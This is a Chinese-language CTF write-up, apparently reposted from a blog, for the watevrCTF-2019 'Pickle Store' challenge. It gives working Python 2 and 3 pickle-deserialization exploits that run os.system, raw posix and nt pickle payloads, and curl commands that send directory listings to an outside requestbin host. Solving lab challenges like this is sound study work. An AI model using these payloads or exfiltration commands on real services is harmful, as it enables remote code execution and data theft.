首页 > 其他 > 详细

刷题记录:[watevrCTF-2019]Pickle Store

时间:2020-02-15 00:31:08      阅读:240      评论:0      收藏:0      [点我收藏+]

题目复现链接:https://buuoj.cn/challenges
参考链接:watevrCTF 2019 - Write-ups

python反序列化

Python pickle 反序列化实例分析
这篇文章讲的很全了

基本上这样的exp就可以了,这是python2的

import cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

python3的也差不多

import pickle
import base64


class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system, ('curl http://http.requestbin.buuoj.cn/17ozn5q1',))


print(base64.b64encode(pickle.dumps(PickleRce(), protocol=0)))

这里我主要要说的是我做这道题的时候payload是在windows上用pycharm生成的,但是一直不成功,而在unix上就可以,而且两个平台上出来的payload是不一样的,在unix上是这样的

cposix
system
p1
(S'sleep 5'
p2
tRp3
.

在windows上是这样的

cnt
system
p0
(Vsleep 5
p1
tp2
Rp3
.

最主要的原因就是第一行引入的模块,nt是windows平台下的一个python包,用来和windows系统交互,posix则是unix对应的包,题目靶机是unix的,用windows的payload自然失败。

OOB

另外扫目录的时候有个问题,ls返回的数据没法直接curl,只会返回第一行,我用了两种比较蠢的方法,第一种是

curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`ls / | base64 | sed -n "1p"`
curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`ls / | base64 | sed -n "2p"`

不知道为什么base64之后还是两行,只能分两行读,第二种是

curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`printf %s `ls /`

结果会所有的文件名连在一块,很难看但是能达到目的,我觉得应该有更好的方法,希望大佬们不吝赐教

刷题记录:[watevrCTF-2019]Pickle Store

原文:https://www.cnblogs.com/20175211lyz/p/12310293.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!